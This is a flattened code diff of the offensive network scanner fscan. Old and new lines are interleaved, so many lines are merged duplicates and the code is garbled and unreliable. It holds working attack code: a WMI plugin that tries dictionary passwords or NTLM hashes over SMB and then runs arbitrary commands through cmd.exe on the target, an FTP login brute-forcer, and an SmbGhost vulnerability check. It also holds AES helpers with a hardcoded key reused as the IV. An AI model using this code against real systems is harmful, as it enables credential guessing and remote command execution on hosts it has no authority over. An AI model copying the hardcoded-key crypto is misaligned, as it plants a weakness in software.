func SmbGhostScan(info *common.HostInfo) error { // SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second func SmbGhostScan(info *Common.HostInfo) error {
addr := fmt.Sprintf("%s:%v", info.Host, port) // 设置扫描参数
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) ip := info.Host
port := 445 // SMB服务默认端口
timeout := time.Duration(Common.Timeout) * time.Second
// 构造目标地址
addr := fmt.Sprintf("%s:%v", ip, port)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err != nil { if err != nil {
return err return err
} }
defer conn.Close() defer conn.Close() // 确保连接最终被关闭
_, err = conn.Write([]byte(pkt))
if err != nil { // 发送SMB协议探测数据包
if _, err = conn.Write([]byte(pkt)); err != nil {
return err return err
} }
// 准备接收响应
buff := make([]byte, 1024) buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
// 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil {
return err
}
// 读取响应数据
n, err := conn.Read(buff) n, err := conn.Read(buff)
if err != nil || n == 0 { if err != nil || n == 0 {
return err return err
} }
if bytes.Contains(buff[:n], []byte("Public")) == true && len(buff[:n]) >= 76 && bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
// 分析响应数据,检测是否存在漏洞
// 检查条件:
// 1. 响应包含"Public"字符串
// 2. 响应长度大于等于76字节
// 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00)
if bytes.Contains(buff[:n], []byte("Public")) &&
len(buff[:n]) >= 76 &&
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
// 发现漏洞,记录结果
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip) result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result) Common.LogSuccess(result)
} }
return err return err
} }

View File

@ -3,7 +3,7 @@ package Plugins
import ( import (
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/Common"
"os" "os"
"strings" "strings"
"time" "time"
@ -11,13 +11,18 @@ import (
"github.com/C-Sto/goWMIExec/pkg/wmiexec" "github.com/C-Sto/goWMIExec/pkg/wmiexec"
) )
var ClientHost string // 全局变量
var flag bool var (
ClientHost string // 客户端主机名
flag bool // 初始化标志
)
// init 初始化函数
func init() { func init() {
if flag { if flag {
return return
} }
// 获取主机名
clientHost, err := os.Hostname() clientHost, err := os.Hostname()
if err != nil { if err != nil {
fmt.Println(err) fmt.Println(err)
@ -26,43 +31,62 @@ func init() {
flag = true flag = true
} }
func WmiExec(info *common.HostInfo) (tmperr error) { // WmiExec 执行WMI远程命令
if common.IsBrute { func WmiExec(info *Common.HostInfo) (tmperr error) {
// 如果是暴力破解模式则跳过
if Common.IsBrute {
return nil return nil
} }
starttime := time.Now().Unix() starttime := time.Now().Unix()
for _, user := range common.Userdict["smb"] {
// 遍历用户字典
for _, user := range Common.Userdict["smb"] {
PASS: PASS:
for _, pass := range common.Passwords { // 遍历密码字典
for _, pass := range Common.Passwords {
// 替换密码模板中的用户名
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err := Wmiexec(info, user, pass, common.Hash)
// 尝试WMI连接
flag, err := Wmiexec(info, user, pass, Common.Hash)
// 记录错误日志
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1) errlog = strings.Replace(errlog, "\n", "", -1)
common.LogError(errlog) Common.LogError(errlog)
if flag == true {
if flag {
// 成功连接,记录结果
var result string var result string
if common.Domain != "" { if Common.Domain != "" {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user)
} else { } else {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user) result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
} }
if common.Hash != "" {
result += "hash: " + common.Hash // 添加认证信息到结果
if Common.Hash != "" {
result += "hash: " + Common.Hash
} else { } else {
result += pass result += pass
} }
common.LogSuccess(result) Common.LogSuccess(result)
return err return err
} else { } else {
tmperr = err tmperr = err
if common.CheckErrs(err) { // 检查错误是否需要终止
if Common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { // 检查是否超时
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) {
return err return err
} }
} }
if len(common.Hash) == 32 {
// 如果使用NTLM Hash则跳过密码循环
if len(Common.Hash) == 32 {
break PASS break PASS
} }
} }
@ -70,13 +94,16 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
return tmperr return tmperr
} }
func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) { // Wmiexec 包装WMI执行函数
func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
target := fmt.Sprintf("%s:%v", info.Host, info.Ports) target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
wmiexec.Timeout = int(common.Timeout) wmiexec.Timeout = int(Common.Timeout)
return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil) return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil)
} }
// WMIExec 执行WMI远程命令
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) { func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
// 初始化WMI配置
if cfgIn == nil { if cfgIn == nil {
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil) cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
if err1 != nil { if err1 != nil {
@ -85,29 +112,41 @@ func WMIExec(target, username, password, hash, domain, command, clientHostname,
} }
cfgIn = &cfg cfgIn = &cfg
} }
// 创建WMI执行器
execer := wmiexec.NewExecer(cfgIn) execer := wmiexec.NewExecer(cfgIn)
// 设置目标绑定
err = execer.SetTargetBinding(binding) err = execer.SetTargetBinding(binding)
if err != nil { if err != nil {
return return
} }
// 进行认证
err = execer.Auth() err = execer.Auth()
if err != nil { if err != nil {
return return
} }
flag = true flag = true
// 如果有命令则执行
if command != "" { if command != "" {
// 使用cmd.exe执行命令
command = "C:\\Windows\\system32\\cmd.exe /c " + command command = "C:\\Windows\\system32\\cmd.exe /c " + command
// 检查RPC端口
if execer.TargetRPCPort == 0 { if execer.TargetRPCPort == 0 {
err = errors.New("RPC Port is 0, cannot connect") err = errors.New("RPC端口为0无法连接")
return return
} }
// 建立RPC连接
err = execer.RPCConnect() err = execer.RPCConnect()
if err != nil { if err != nil {
return return
} }
// 执行命令
err = execer.Exec(command) err = execer.Exec(command)
if err != nil { if err != nil {
return return

View File

@ -12,34 +12,45 @@ import (
"time" "time"
"unicode/utf8" "unicode/utf8"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan" "github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"golang.org/x/text/encoding/simplifiedchinese" "golang.org/x/text/encoding/simplifiedchinese"
) )
func WebTitle(info *common.HostInfo) error { // WebTitle 获取Web标题并执行扫描
if common.Scantype == "webpoc" { func WebTitle(info *Common.HostInfo) error {
// 如果是webpoc扫描模式直接执行WebScan
if Common.Scantype == "webpoc" {
WebScan.WebScan(info) WebScan.WebScan(info)
return nil return nil
} }
// 获取网站标题信息
err, CheckData := GOWebTitle(info) err, CheckData := GOWebTitle(info)
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData) info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
//不扫描打印机,避免打纸
// 检查是否为打印机,避免意外打印
for _, v := range info.Infostr { for _, v := range info.Infostr {
if v == "打印机" { if v == "打印机" {
return nil return nil
} }
} }
if !common.NoPoc && err == nil {
// 根据配置决定是否执行漏洞扫描
if !Common.NoPoc && err == nil {
WebScan.WebScan(info) WebScan.WebScan(info)
} else { } else {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog) Common.LogError(errlog)
} }
return err return err
} }
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
// GOWebTitle 获取网站标题并处理URL
func GOWebTitle(info *Common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
// 如果URL未指定根据端口生成URL
if info.Url == "" { if info.Url == "" {
switch info.Ports { switch info.Ports {
case "80": case "80":
@ -48,23 +59,25 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
info.Url = fmt.Sprintf("https://%s", info.Host) info.Url = fmt.Sprintf("https://%s", info.Host)
default: default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports) host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol := GetProtocol(host, common.Timeout) protocol := GetProtocol(host, Common.Timeout)
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports) info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
} }
} else { } else {
// 处理未指定协议的URL
if !strings.Contains(info.Url, "://") { if !strings.Contains(info.Url, "://") {
host := strings.Split(info.Url, "/")[0] host := strings.Split(info.Url, "/")[0]
protocol := GetProtocol(host, common.Timeout) protocol := GetProtocol(host, Common.Timeout)
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url) info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
} }
} }
// 第一次获取URL
err, result, CheckData := geturl(info, 1, CheckData) err, result, CheckData := geturl(info, 1, CheckData)
if err != nil && !strings.Contains(err.Error(), "EOF") { if err != nil && !strings.Contains(err.Error(), "EOF") {
return return
} }
//跳转 // 处理URL跳转
if strings.Contains(result, "://") { if strings.Contains(result, "://") {
info.Url = result info.Url = result
err, result, CheckData = geturl(info, 3, CheckData) err, result, CheckData = geturl(info, 3, CheckData)
@ -73,10 +86,12 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
} }
} }
// 处理HTTP到HTTPS的升级
if result == "https" && !strings.HasPrefix(info.Url, "https://") { if result == "https" && !strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "http://", "https://", 1) info.Url = strings.Replace(info.Url, "http://", "https://", 1)
err, result, CheckData = geturl(info, 1, CheckData) err, result, CheckData = geturl(info, 1, CheckData)
//有跳转
// 处理升级后的跳转
if strings.Contains(result, "://") { if strings.Contains(result, "://") {
info.Url = result info.Url = result
err, _, CheckData = geturl(info, 3, CheckData) err, _, CheckData = geturl(info, 3, CheckData)
@ -85,22 +100,28 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
} }
} }
} }
//是否访问图标
//err, _, CheckData = geturl(info, 2, CheckData)
if err != nil { if err != nil {
return return
} }
return return
} }
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { // geturl 获取URL响应内容和信息
//flag 1 first try // 参数:
//flag 2 /favicon.ico // - info: 主机配置信息
//flag 3 302 // - flag: 请求类型标志(1:首次尝试 2:获取favicon 3:处理302跳转 4:处理400转https)
//flag 4 400 -> https // - CheckData: 检查数据数组
//
// 返回:
// - error: 错误信息
// - string: 重定向URL或协议
// - []WebScan.CheckDatas: 更新后的检查数据
func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
// 处理目标URL
Url := info.Url Url := info.Url
if flag == 2 { if flag == 2 {
// 获取favicon.ico的URL
URL, err := url.Parse(Url) URL, err := url.Parse(Url)
if err == nil { if err == nil {
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host) Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
@ -108,61 +129,77 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
Url += "/favicon.ico" Url += "/favicon.ico"
} }
} }
// 创建HTTP请求
req, err := http.NewRequest("GET", Url, nil) req, err := http.NewRequest("GET", Url, nil)
if err != nil { if err != nil {
return err, "", CheckData return err, "", CheckData
} }
req.Header.Set("User-agent", common.UserAgent)
req.Header.Set("Accept", common.Accept) // 设置请求头
req.Header.Set("User-agent", Common.UserAgent)
req.Header.Set("Accept", Common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if common.Cookie != "" { if Common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie) req.Header.Set("Cookie", Common.Cookie)
} }
//if common.Pocinfo.Cookie != "" {
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
//} else {
// req.Header.Set("Cookie", "rememberMe=1")
//}
req.Header.Set("Connection", "close") req.Header.Set("Connection", "close")
// 选择HTTP客户端
var client *http.Client var client *http.Client
if flag == 1 { if flag == 1 {
client = lib.ClientNoRedirect client = lib.ClientNoRedirect // 不跟随重定向
} else { } else {
client = lib.Client client = lib.Client // 跟随重定向
} }
// 发送请求
resp, err := client.Do(req) resp, err := client.Do(req)
if err != nil { if err != nil {
return err, "https", CheckData return err, "https", CheckData
} }
defer resp.Body.Close() defer resp.Body.Close()
var title string
// 读取响应内容
body, err := getRespBody(resp) body, err := getRespBody(resp)
if err != nil { if err != nil {
return err, "https", CheckData return err, "https", CheckData
} }
// 保存检查数据
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)}) CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
// 处理非favicon请求
var reurl string var reurl string
if flag != 2 { if flag != 2 {
// 处理编码
if !utf8.Valid(body) { if !utf8.Valid(body) {
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body) body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
} }
title = gettitle(body)
// 获取页面信息
title := gettitle(body)
length := resp.Header.Get("Content-Length") length := resp.Header.Get("Content-Length")
if length == "" { if length == "" {
length = fmt.Sprintf("%v", len(body)) length = fmt.Sprintf("%v", len(body))
} }
// 处理重定向
redirURL, err1 := resp.Location() redirURL, err1 := resp.Location()
if err1 == nil { if err1 == nil {
reurl = redirURL.String() reurl = redirURL.String()
} }
result := fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
// 输出结果
result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" { if reurl != "" {
result += fmt.Sprintf(" 跳转url: %s", reurl) result += fmt.Sprintf(" 重定向地址: %s", reurl)
} }
common.LogSuccess(result) Common.LogSuccess(result)
} }
// 返回结果
if reurl != "" { if reurl != "" {
return nil, reurl, CheckData return nil, reurl, CheckData
} }
@ -172,14 +209,19 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
return nil, "", CheckData return nil, "", CheckData
} }
// getRespBody 读取HTTP响应体内容
func getRespBody(oResp *http.Response) ([]byte, error) { func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte var body []byte
// 处理gzip压缩的响应
if oResp.Header.Get("Content-Encoding") == "gzip" { if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body) gr, err := gzip.NewReader(oResp.Body)
if err != nil { if err != nil {
return nil, err return nil, err
} }
defer gr.Close() defer gr.Close()
// 循环读取解压内容
for { for {
buf := make([]byte, 1024) buf := make([]byte, 1024)
n, err := gr.Read(buf) n, err := gr.Read(buf)
@ -192,6 +234,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
body = append(body, buf...) body = append(body, buf...)
} }
} else { } else {
// 直接读取未压缩的响应
raw, err := io.ReadAll(oResp.Body) raw, err := io.ReadAll(oResp.Body)
if err != nil { if err != nil {
return nil, err return nil, err
@ -201,30 +244,41 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
return body, nil return body, nil
} }
// gettitle 从HTML内容中提取网页标题
func gettitle(body []byte) (title string) { func gettitle(body []byte) (title string) {
// 使用正则表达式匹配title标签内容
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>") re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
find := re.FindSubmatch(body) find := re.FindSubmatch(body)
if len(find) > 1 { if len(find) > 1 {
title = string(find[1]) title = string(find[1])
title = strings.TrimSpace(title)
title = strings.Replace(title, "\n", "", -1) // 清理标题内容
title = strings.Replace(title, "\r", "", -1) title = strings.TrimSpace(title) // 去除首尾空格
title = strings.Replace(title, "&nbsp;", " ", -1) title = strings.Replace(title, "\n", "", -1) // 去除换行
title = strings.Replace(title, "\r", "", -1) // 去除回车
title = strings.Replace(title, "&nbsp;", " ", -1) // 替换HTML空格
// 截断过长的标题
if len(title) > 100 { if len(title) > 100 {
title = title[:100] title = title[:100]
} }
// 处理空标题
if title == "" { if title == "" {
title = "\"\"" //空格 title = "\"\"" // 空标题显示为双引号
} }
} else { } else {
title = "None" //没有title title = "无标题" // 没有找到title标签
} }
return return
} }
// GetProtocol 检测目标主机的协议类型(HTTP/HTTPS)
func GetProtocol(host string, Timeout int64) (protocol string) { func GetProtocol(host string, Timeout int64) (protocol string) {
protocol = "http" protocol = "http"
//如果端口是80或443,跳过Protocol判断
// 根据标准端口快速判断协议
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") { if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
return return
} else if strings.HasSuffix(host, ":443") { } else if strings.HasSuffix(host, ":443") {
@ -232,25 +286,38 @@ func GetProtocol(host string, Timeout int64) (protocol string) {
return return
} }
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) // 尝试建立TCP连接
socksconn, err := Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
if err != nil { if err != nil {
return return
} }
conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true})
// 尝试TLS握手
conn := tls.Client(socksconn, &tls.Config{
MinVersion: tls.VersionTLS10,
InsecureSkipVerify: true,
})
// 确保连接关闭
defer func() { defer func() {
if conn != nil { if conn != nil {
defer func() { defer func() {
if err := recover(); err != nil { if err := recover(); err != nil {
common.LogError(err) Common.LogError(err)
} }
}() }()
conn.Close() conn.Close()
} }
}() }()
// 设置连接超时
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second)) conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
// 执行TLS握手
err = conn.Handshake() err = conn.Handshake()
if err == nil || strings.Contains(err.Error(), "handshake failure") { if err == nil || strings.Contains(err.Error(), "handshake failure") {
protocol = "https" protocol = "https"
} }
return protocol return protocol
} }

View File

@ -1,105 +0,0 @@
package Plugins
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"net"
)
var PluginList = map[string]interface{}{
"21": FtpScan,
"22": SshScan,
"135": Findnet,
"139": NetBIOS,
"445": SmbScan,
"1433": MssqlScan,
"1521": OracleScan,
"3306": MysqlScan,
"3389": RdpScan,
"5432": PostgresScan,
"6379": RedisScan,
"9000": FcgiScan,
"11211": MemcachedScan,
"27017": MongodbScan,
"1000001": MS17010,
"1000002": SmbGhost,
"1000003": WebTitle,
"1000004": SmbScan2,
"1000005": WmiExec,
}
func ReadBytes(conn net.Conn) (result []byte, err error) {
size := 4096
buf := make([]byte, size)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result = append(result, buf[0:count]...)
if count < size {
break
}
}
if len(result) > 0 {
err = nil
}
return result, err
}
var key = "0123456789abcdef"
func AesEncrypt(orig string, key string) string {
// 转成字节数组
origData := []byte(orig)
k := []byte(key)
// 分组秘钥
// NewCipher该函数限制了输入k的长度必须为16, 24或者32
block, _ := aes.NewCipher(k)
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 补全码
origData = PKCS7Padding(origData, blockSize)
// 加密模式
blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
// 创建数组
cryted := make([]byte, len(origData))
// 加密
blockMode.CryptBlocks(cryted, origData)
return base64.StdEncoding.EncodeToString(cryted)
}
func AesDecrypt(cryted string, key string) string {
// 转成字节数组
crytedByte, _ := base64.StdEncoding.DecodeString(cryted)
k := []byte(key)
// 分组秘钥
block, _ := aes.NewCipher(k)
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 加密模式
blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
// 创建数组
orig := make([]byte, len(crytedByte))
// 解密
blockMode.CryptBlocks(orig, crytedByte)
// 去补全码
orig = PKCS7UnPadding(orig)
return string(orig)
}
// 补码
// AES加密数据块分组长度必须为128bit(byte[16])密钥长度可以是128bit(byte[16])、192bit(byte[24])、256bit(byte[32])中的任意一个。
func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
padding := blocksize - len(ciphertext)%blocksize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
// 去码
func PKCS7UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}

View File

@ -1,123 +0,0 @@
package Plugins
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"strconv"
"strings"
"time"
)
var (
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
func Findnet(info *common.HostInfo) error {
err := FindnetScan(info)
return err
}
func FindnetScan(info *common.HostInfo) error {
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return err
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return err
}
_, err = conn.Write(bufferV1)
if err != nil {
return err
}
reply := make([]byte, 4096)
_, err = conn.Read(reply)
if err != nil {
return err
}
_, err = conn.Write(bufferV2)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 42 {
return err
}
text := reply[42:]
flag := true
for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) {
text = text[:i-4]
flag = false
break
}
}
if flag {
return err
}
err = read(text, info.Host)
return err
}
func HexUnicodeStringToString(src string) string {
sText := ""
if len(src)%4 != 0 {
src += src[:len(src)-len(src)%4]
}
for i := 0; i < len(src); i = i + 4 {
sText += "\\u" + src[i+2:i+4] + src[i:i+2]
}
textUnquoted := sText
sUnicodev := strings.Split(textUnquoted, "\\u")
var context string
for _, v := range sUnicodev {
if len(v) < 1 {
continue
}
temp, err := strconv.ParseInt(v, 16, 32)
if err != nil {
return ""
}
context += fmt.Sprintf("%c", temp)
}
return context
}
func read(text []byte, host string) error {
encodedStr := hex.EncodeToString(text)
hn := ""
for i := 0; i < len(encodedStr)-4; i = i + 4 {
if encodedStr[i:i+4] == "0000" {
break
}
hn += encodedStr[i : i+4]
}
var name string
name = HexUnicodeStringToString(hn)
hostnames := strings.Replace(encodedStr, "0700", "", -1)
hostname := strings.Split(hostnames, "000000")
result := "[*] NetInfo \n[*]" + host
if name != "" {
result += "\n [->]" + name
}
hostname = hostname[1:]
for i := 0; i < len(hostname); i++ {
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
host, err := hex.DecodeString(hostname[i])
if err != nil {
return err
}
result += "\n [->]" + string(host)
}
common.LogSuccess(result)
return nil
}

View File

@ -1,79 +0,0 @@
package Plugins
import (
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func FtpScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
flag, err := FtpConn(info, "anonymous", "")
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
}
for _, user := range common.Userdict["ftp"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
if err == nil {
err = conn.Login(Username, Password)
if err == nil {
flag = true
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
//defer conn.Logout()
if err == nil {
if len(dirs) > 0 {
for i := 0; i < len(dirs); i++ {
if len(dirs[i].Name) > 50 {
result += "\n [->]" + dirs[i].Name[:50]
} else {
result += "\n [->]" + dirs[i].Name
}
if i == 5 {
break
}
}
}
}
common.LogSuccess(result)
}
}
return flag, err
}

View File

@ -1,310 +0,0 @@
package Plugins
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
AliveHosts []string
ExistHosts = make(map[string]struct{})
livewg sync.WaitGroup
)
func CheckLive(hostslist []string, Ping bool) []string {
chanHosts := make(chan string, len(hostslist))
go func() {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
if common.Silent == false {
if Ping == false {
fmt.Printf("(icmp) Target %-15s is alive\n", ip)
} else {
fmt.Printf("(ping) Target %-15s is alive\n", ip)
}
}
AliveHosts = append(AliveHosts, ip)
}
livewg.Done()
}
}()
if Ping == true {
//使用ping探测
RunPing(hostslist, chanHosts)
} else {
//优先尝试监听本地icmp,批量探测
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
} else {
common.LogError(err)
//尝试无监听icmp探测
fmt.Println("trying RunIcmp2")
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err == nil {
RunIcmp2(hostslist, chanHosts)
} else {
common.LogError(err)
//使用ping探测
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
RunPing(hostslist, chanHosts)
}
}
}
livewg.Wait()
close(chanHosts)
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
common.LogSuccess(output)
}
}
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
common.LogSuccess(output)
}
}
return AliveHosts
}
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
go func() {
for {
if endflag == true {
return
}
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
for _, host := range hostslist {
dst, _ := net.ResolveIPAddr("ip", host)
IcmpByte := makemsg(host)
conn.WriteTo(IcmpByte, dst)
}
//根据hosts数量修改icmp监听时间
start := time.Now()
for {
if len(AliveHosts) == len(hostslist) {
break
}
since := time.Since(start)
var wait time.Duration
switch {
case len(hostslist) <= 256:
wait = time.Second * 3
default:
wait = time.Second * 6
}
if since > wait {
break
}
}
endflag = true
conn.Close()
}
func RunIcmp2(hostslist []string, chanHosts chan string) {
num := 1000
if len(hostslist) < num {
num = len(hostslist)
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
<-limiter
wg.Done()
}(host)
}
wg.Wait()
close(limiter)
}
func icmpalive(host string) bool {
startTime := time.Now()
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
if err != nil {
return false
}
defer conn.Close()
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
return false
}
msg := makemsg(host)
